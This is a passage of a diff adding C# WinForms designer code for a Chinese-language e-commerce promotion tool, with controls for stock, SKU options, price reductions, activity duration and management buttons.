= "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1235, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空结果"; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx3); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1350, 561); + this.splitContainer1.SplitterDistance = 160; + this.splitContainer1.TabIndex = 6; + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.btnMdyAct); + this.ucGroupBoxEx3.Controls.Add(this.btnStopMdyAct); + this.ucGroupBoxEx3.Controls.Add(this.btnCancelGet); + this.ucGroupBoxEx3.Controls.Add(this.cmbSkuOptionType); + this.ucGroupBoxEx3.Controls.Add(this.chkSetSkuOption); + this.ucGroupBoxEx3.Controls.Add(this.lblPercentSign); + this.ucGroupBoxEx3.Controls.Add(this.cmbStockType); + this.ucGroupBoxEx3.Controls.Add(this.nudStockValue); + this.ucGroupBoxEx3.Controls.Add(this.cmbLimit); + this.ucGroupBoxEx3.Controls.Add(this.txtContainsId); + this.ucGroupBoxEx3.Controls.Add(this.label2); + this.ucGroupBoxEx3.Controls.Add(this.flpPrice); + this.ucGroupBoxEx3.Controls.Add(this.panel9); + this.ucGroupBoxEx3.Controls.Add(this.panel7); + this.ucGroupBoxEx3.Controls.Add(this.btnManageAct); + this.ucGroupBoxEx3.Controls.Add(this.btnSubAct); + this.ucGroupBoxEx3.Controls.Add(this.pnlPreheat); + this.ucGroupBoxEx3.Controls.Add(this.pnlDiscount); + this.ucGroupBoxEx3.Controls.Add(this.btnGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.lblDiscount); + this.ucGroupBoxEx3.Controls.Add(this.cmbCancelTime); + this.ucGroupBoxEx3.Controls.Add(this.dtpEndTime); + this.ucGroupBoxEx3.Controls.Add(this.btnStopGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.dtpStartTime); + this.ucGroupBoxEx3.Controls.Add(this.label4); + this.ucGroupBoxEx3.Controls.Add(this.label12); + this.ucGroupBoxEx3.Controls.Add(this.panel8); + this.ucGroupBoxEx3.Controls.Add(this.panel3); + this.ucGroupBoxEx3.Controls.Add(this.lblLimit); + this.ucGroupBoxEx3.Controls.Add(this.lblStock); + this.ucGroupBoxEx3.Controls.Add(this.label9); + this.ucGroupBoxEx3.Controls.Add(this.panel2); + this.ucGroupBoxEx3.Controls.Add(this.label11); + this.ucGroupBoxEx3.Controls.Add(this.label3); + this.ucGroupBoxEx3.Controls.Add(this.panel1); + this.ucGroupBoxEx3.Controls.Add(this.lblTime); + this.ucGroupBoxEx3.Controls.Add(this.label1); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(146, 2); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(1202, 160); + this.ucGroupBoxEx3.TabIndex = 423; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "参数设置"; + // + // btnMdyAct + // + this.btnMdyAct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnMdyAct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnMdyAct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnMdyAct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnMdyAct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnMdyAct.Location = new System.Drawing.Point(1062, 118); + this.btnMdyAct.Name = "btnMdyAct"; + this.btnMdyAct.Size = new System.Drawing.Size(60, 23); + this.btnMdyAct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnMdyAct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnMdyAct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnMdyAct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnMdyAct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnMdyAct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnMdyAct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnMdyAct.Style.GradientAngle = 90; + this.btnMdyAct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnMdyAct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnMdyAct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnMdyAct.TabIndex = 685; + this.btnMdyAct.Text = "修改活动"; + this.btnMdyAct.Click += new System.EventHandler(this.btnMdyAct_Click); + // + // btnStopMdyAct + // + this.btnStopMdyAct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopMdyAct.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopMdyAct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopMdyAct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopMdyAct.Location = new System.Drawing.Point(1128, 118); + this.btnStopMdyAct.Name = "btnStopMdyAct"; + this.btnStopMdyAct.Size = new System.Drawing.Size(60, 23); + this.btnStopMdyAct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopMdyAct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopMdyAct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopMdyAct.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopMdyAct.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopMdyAct.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopMdyAct.Style.GradientAngle = 90; + this.btnStopMdyAct.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopMdyAct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopMdyAct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopMdyAct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopMdyAct.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopMdyAct.TabIndex = 684; + this.btnStopMdyAct.Text = "停止修改"; + // + // btnCancelGet + // + this.btnCancelGet.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnCancelGet.CanvasColor = System.Drawing.SystemColors.Control; + this.btnCancelGet.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnCancelGet.DisabledBackColor = System.Drawing.Color.Empty; + this.btnCancelGet.Location = new System.Drawing.Point(1128, 17); + this.btnCancelGet.Name = "btnCancelGet"; + this.btnCancelGet.Size = new System.Drawing.Size(60, 23); + this.btnCancelGet.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnCancelGet.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnCancelGet.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnCancelGet.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnCancelGet.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancelGet.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnCancelGet.Style.GradientAngle = 90; + this.btnCancelGet.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnCancelGet.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnCancelGet.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancelGet.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancelGet.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnCancelGet.TabIndex = 662; + this.btnCancelGet.Text = "停止获取"; + this.btnCancelGet.Click += new System.EventHandler(this.btnCancelGet_Click); + // + // cmbSkuOptionType + // + this.cmbSkuOptionType.DisplayMember = "Text"; + this.cmbSkuOptionType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbSkuOptionType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbSkuOptionType.FormattingEnabled = true; + this.cmbSkuOptionType.ItemHeight = 18; + this.cmbSkuOptionType.Items.AddRange(new object[] { + this.第一个, + this.最后一个, + this.最便宜, + this.最贵, + this.不设置最便宜, + this.不设置最贵}); + this.cmbSkuOptionType.Location = new System.Drawing.Point(934, 42); + this.cmbSkuOptionType.Name = "cmbSkuOptionType"; + this.cmbSkuOptionType.Size = new System.Drawing.Size(118, 24); + this.cmbSkuOptionType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbSkuOptionType.TabIndex = 646; + // + // 第一个 + // + this.第一个.Text = "第一个"; + // + // 最后一个 + // + this.最后一个.Text = "最后一个"; + // + // 最便宜 + // + this.最便宜.Text = "最便宜"; + // + // 最贵 + // + this.最贵.Text = "最贵"; + // + // 不设置最便宜 + // + this.不设置最便宜.Text = "不设置最便宜"; + // + // 不设置最贵 + // + this.不设置最贵.Text = "不设置最贵"; + // + // chkSetSkuOption + // + this.chkSetSkuOption.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.chkSetSkuOption.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkSetSkuOption.ForeColor = System.Drawing.Color.Red; + this.chkSetSkuOption.Location = new System.Drawing.Point(844, 44); + this.chkSetSkuOption.Name = "chkSetSkuOption"; + this.chkSetSkuOption.Size = new System.Drawing.Size(100, 21); + this.chkSetSkuOption.TabIndex = 645; + this.chkSetSkuOption.Text = "设置Sku选项"; + this.chkSetSkuOption.UseVisualStyleBackColor = true; + this.chkSetSkuOption.CheckedChanged += new System.EventHandler(this.chkSetOneSku_CheckedChanged); + // + // lblPercentSign + // + this.lblPercentSign.AutoSize = true; + this.lblPercentSign.Location = new System.Drawing.Point(630, 17); + this.lblPercentSign.Name = "lblPercentSign"; + this.lblPercentSign.Size = new System.Drawing.Size(19, 17); + this.lblPercentSign.TabIndex = 644; + this.lblPercentSign.Text = "%"; + // + // cmbStockType + // + this.cmbStockType.DisplayMember = "Text"; + this.cmbStockType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbStockType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbStockType.FormattingEnabled = true; + this.cmbStockType.ItemHeight = 18; + this.cmbStockType.Items.AddRange(new object[] { + this.全部库存, + this.百分比库存, + this.统一库存}); + this.cmbStockType.Location = new System.Drawing.Point(490, 13); + this.cmbStockType.Name = "cmbStockType"; + this.cmbStockType.Size = new System.Drawing.Size(84, 24); + this.cmbStockType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbStockType.TabIndex = 643; + this.cmbStockType.SelectedIndexChanged += new System.EventHandler(this.cmbStockType_SelectedIndexChanged); + // + // 全部库存 + // + this.全部库存.Text = "全部库存"; + // + // 百分比库存 + // + this.百分比库存.Text = "百分比库存"; + // + // 统一库存 + // + this.统一库存.Text = "统一库存"; + // + // nudStockValue + // + this.nudStockValue.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudStockValue.Location = new System.Drawing.Point(580, 14); + this.nudStockValue.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudStockValue.Name = "nudStockValue"; + this.nudStockValue.Size = new System.Drawing.Size(48, 23); + this.nudStockValue.TabIndex = 642; + this.nudStockValue.Value = new decimal(new int[] { + 50, + 0, + 0, + 0}); + // + // cmbLimit + // + this.cmbLimit.DisplayMember = "Text"; + this.cmbLimit.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbLimit.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbLimit.FormattingEnabled = true; + this.cmbLimit.ItemHeight = 18; + this.cmbLimit.Location = new System.Drawing.Point(720, 42); + this.cmbLimit.Name = "cmbLimit"; + this.cmbLimit.Size = new System.Drawing.Size(55, 24); + this.cmbLimit.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbLimit.TabIndex = 520; + // + // txtContainsId + // + // + // + // + this.txtContainsId.Border.Class = "TextBoxBorder"; + this.txtContainsId.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtContainsId.Location = new System.Drawing.Point(844, 89); + this.txtContainsId.Multiline = true; + this.txtContainsId.Name = "txtContainsId"; + this.txtContainsId.PreventEnterBeep = true; + this.txtContainsId.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtContainsId.Size = new System.Drawing.Size(208, 62); + this.txtContainsId.TabIndex = 629; + this.txtContainsId.WatermarkText = "请输入商品编号,一行一个"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(842, 71); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(105, 17); + this.label2.TabIndex = 628; + this.label2.Text = "获取指定商品ID:"; + // + // flpPrice + // + this.flpPrice.Controls.Add(this.pnlSkuPriceMin); + this.flpPrice.Controls.Add(this.lblSKUPriceCommon2); + this.flpPrice.Controls.Add(this.txtSKUPriceCommon); + this.flpPrice.Controls.Add(this.lblSKUPriceCommon3); + this.flpPrice.Location = new System.Drawing.Point(490, 128); + this.flpPrice.Name = "flpPrice"; + this.flpPrice.Size = new System.Drawing.Size(335, 23); + this.flpPrice.TabIndex = 614; + // + // pnlSkuPriceMin + // + this.pnlSkuPriceMin.Controls.Add(this.lblSKUPriceMin3); + this.pnlSkuPriceMin.Controls.Add(this.lblSKUPriceMin2); + this.pnlSkuPriceMin.Controls.Add(this.lblSKUPriceCommon1); + this.pnlSkuPriceMin.Controls.Add(this.txtSKUPriceMin); + this.pnlSkuPriceMin.Controls.Add(this.lblSKUPriceMin1); + this.pnlSkuPriceMin.Location = new System.Drawing.Point(0, 0); + this.pnlSkuPriceMin.Margin = new System.Windows.Forms.Padding(0); + this.pnlSkuPriceMin.Name = "pnlSkuPriceMin"; + this.pnlSkuPriceMin.Size = new System.Drawing.Size(212, 23); + this.pnlSkuPriceMin.TabIndex = 469; + // + // lblSKUPriceMin3 + // + this.lblSKUPriceMin3.AutoSize = true; + this.lblSKUPriceMin3.Location = new System.Drawing.Point(130, 3); + this.lblSKUPriceMin3.Name = "lblSKUPriceMin3"; + this.lblSKUPriceMin3.Size = new System.Drawing.Size(20, 17); + this.lblSKUPriceMin3.TabIndex = 522; + this.lblSKUPriceMin3.Text = "元"; + // + // lblSKUPriceMin2 + // + this.lblSKUPriceMin2.AutoSize = true; + this.lblSKUPriceMin2.Location = new System.Drawing.Point(56, 3); + this.lblSKUPriceMin2.Name = "lblSKUPriceMin2"; + this.lblSKUPriceMin2.Size = new System.Drawing.Size(20, 17); + this.lblSKUPriceMin2.TabIndex = 521; + this.lblSKUPriceMin2.Text = "减"; + // + // lblSKUPriceCommon1 + // + this.lblSKUPriceCommon1.AutoSize = true; + this.lblSKUPriceCommon1.Location = new System.Drawing.Point(154, 3); + this.lblSKUPriceCommon1.Name = "lblSKUPriceCommon1"; + this.lblSKUPriceCommon1.Size = new System.Drawing.Size(56, 17); + this.lblSKUPriceCommon1.TabIndex = 520; + this.lblSKUPriceCommon1.Text = "常规SKU"; + // + // txtSKUPriceMin + // + this.txtSKUPriceMin.Location = new System.Drawing.Point(78, 0); + this.txtSKUPriceMin.Name = "txtSKUPriceMin"; + this.txtSKUPriceMin.Size = new System.Drawing.Size(50, 23); + this.txtSKUPriceMin.TabIndex = 519; + // + // lblSKUPriceMin1 + // + this.lblSKUPriceMin1.AutoSize = true; + this.lblSKUPriceMin1.Location = new System.Drawing.Point(1, 3); + this.lblSKUPriceMin1.Name = "lblSKUPriceMin1"; + this.lblSKUPriceMin1.Size = new System.Drawing.Size(56, 17); + this.lblSKUPriceMin1.TabIndex = 518; + this.lblSKUPriceMin1.Text = "最低SKU"; + // + // lblSKUPriceCommon2 + // + this.lblSKUPriceCommon2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblSKUPriceCommon2.AutoSize = true; + this.lblSKUPriceCommon2.Location = new System.Drawing.Point(212, 3); + this.lblSKUPriceCommon2.Margin = new System.Windows.Forms.Padding(0); + this.lblSKUPriceCommon2.Name = "lblSKUPriceCommon2"; + this.lblSKUPriceCommon2.Size = new System.Drawing.Size(20, 17); + this.lblSKUPriceCommon2.TabIndex = 524; + this.lblSKUPriceCommon2.Text = "减"; + // + // txtSKUPriceCommon + // + this.txtSKUPriceCommon.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtSKUPriceCommon.Location = new System.Drawing.Point(232, 0); + this.txtSKUPriceCommon.Margin = new System.Windows.Forms.Padding(0); + this.txtSKUPriceCommon.Name = "txtSKUPriceCommon"; + this.txtSKUPriceCommon.Size = new System.Drawing.Size(50, 23); + this.txtSKUPriceCommon.TabIndex = 523; + // + // lblSKUPriceCommon3 + // + this.lblSKUPriceCommon3.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblSKUPriceCommon3.AutoSize = true; + this.lblSKUPriceCommon3.Location = new System.Drawing.Point(282, 3); + this.lblSKUPriceCommon3.Margin = new System.Windows.Forms.Padding(0); + this.lblSKUPriceCommon3.Name = "lblSKUPriceCommon3"; + this.lblSKUPriceCommon3.Size = new System.Drawing.Size(20, 17); + this.lblSKUPriceCommon3.TabIndex = 525; + this.lblSKUPriceCommon3.Text = "元"; + // + // panel9 + // + this.panel9.Controls.Add(this.label13); + this.panel9.Controls.Add(this.cmbSetPro); + this.panel9.Controls.Add(this.label10); + this.panel9.Location = new System.Drawing.Point(660, 13); + this.panel9.Name = "panel9"; + this.panel9.Size = new System.Drawing.Size(165, 24); + this.panel9.TabIndex = 588; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(118, 3); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(44, 17); + this.label13.TabIndex = 564; + this.label13.Text = "个商品"; + // + // cmbSetPro + // + this.cmbSetPro.DisplayMember = "Text"; + this.cmbSetPro.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbSetPro.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbSetPro.FormattingEnabled = true; + this.cmbSetPro.ItemHeight = 18; + this.cmbSetPro.Location = new System.Drawing.Point(60, 0); + this.cmbSetPro.Name = "cmbSetPro"; + this.cmbSetPro.Size = new System.Drawing.Size(55, 24); + this.cmbSetPro.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbSetPro.TabIndex = 563; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(2, 3); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(56, 17); + this.label10.TabIndex = 562; + this.label10.Text = "一个活动"; + // + // panel7 + // + this.panel7.Controls.Add(this.label8); + this.panel7.Controls.Add(this.cmbActCont); + this.panel7.Controls.Add(this.label5); + this.panel7.Location = new System.Drawing.Point(105, 38); + this.panel7.Name = "panel7"; + this.panel7.Size = new System.Drawing.Size(319, 24); + this.panel7.TabIndex = 515; + this.panel7.Visible = false; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(131, 4); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(184, 17); + this.label8.TabIndex = 522; + this.label8.Text = "后结束(创建成功后活动立即生效)"; + // + // cmbActCont + // + this.cmbActCont.DisplayMember = "Text"; + this.cmbActCont.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbActCont.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbActCont.FormattingEnabled = true; + this.cmbActCont.ItemHeight = 18; + this.cmbActCont.Items.AddRange(new object[] { + this.comboItem7, + this.comboItem8, + this.comboItem9, + this.comboItem10, + this.comboItem11, + this.comboItem12, + this.comboItem13, + this.comboItem14, + this.comboItem15}); + this.cmbActCont.Location = new System.Drawing.Point(55, 0); + this.cmbActCont.Name = "cmbActCont"; + this.cmbActCont.Size = new System.Drawing.Size(75, 24); + this.cmbActCont.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbActCont.TabIndex = 521; + // + // comboItem7 + // + this.comboItem7.Text = "5分钟"; + this.comboItem7.Value = "5分钟"; + // + // comboItem8 + // + this.comboItem8.Text = "10分钟"; + this.comboItem8.Value = "10分钟"; + // + // comboItem9 + // + this.comboItem9.Text = "15分钟"; + this.comboItem9.Value = "15分钟"; + // + // comboItem10 + // + this.comboItem10.Text = "30分钟"; + this.comboItem10.Value = "30分钟"; + // + // comboItem11 + // + this.comboItem11.Text = "1小时"; + this.comboItem11.Value = "1小时"; + // + // comboItem12 + // + this.comboItem12.Text = "2小时"; + this.comboItem12.Value = "2小时"; + // + // comboItem13 + // + this.comboItem13.Text = "6小时"; + this.comboItem13.Value = "6小时"; + // + // comboItem14 + // + this.comboItem14.Text = "12小时"; + this.comboItem14.Value = "12小时"; + // + // comboItem15 + // + this.comboItem15.Text = "24小时"; + this.comboItem15.Value = "24小时"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(-2, 3); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 520; + this.label5.Text = "活动持续"; + // + // btnManageAct + // + this.btnManageAct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnManageAct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnManageAct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnManageAct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnManageAct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnManageAct.Location = new System.Drawing.Point(1062, 89); + this.btnManageAct.Name = "btnManageAct"; + this.btnManageAct.Size = new System.Drawing.Size(60, 23); + this.btnManageAct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnManageAct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnManageAct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnManageAct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnManageAct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnManageAct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnManageAct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnManageAct.Style.GradientAngle = 90; + this.btnManageAct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnManageAct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnManageAct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnManageAct.TabIndex = 548; + this.btnManageAct.Text = "活动管理"; + this.btnManageAct.Click += new System.EventHandler(this.btnManageAct_Click); + // + // btnSubAct + // + this.btnSubAct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSubAct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSubAct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSubAct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSubAct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSubAct.Location = new System.Drawing.Point(1062, 46); + this.btnSubAct.Name = "btnSubAct"; + this.btnSubAct.Size = new System.Drawing.Size(60, 23); + this.btnSubAct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSubAct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSubAct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSubAct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSubAct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSubAct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSubAct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSubAct.Style.GradientAngle = 90; + this.btnSubAct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSubAct.StyleMouseOver.BackColor1.Color = 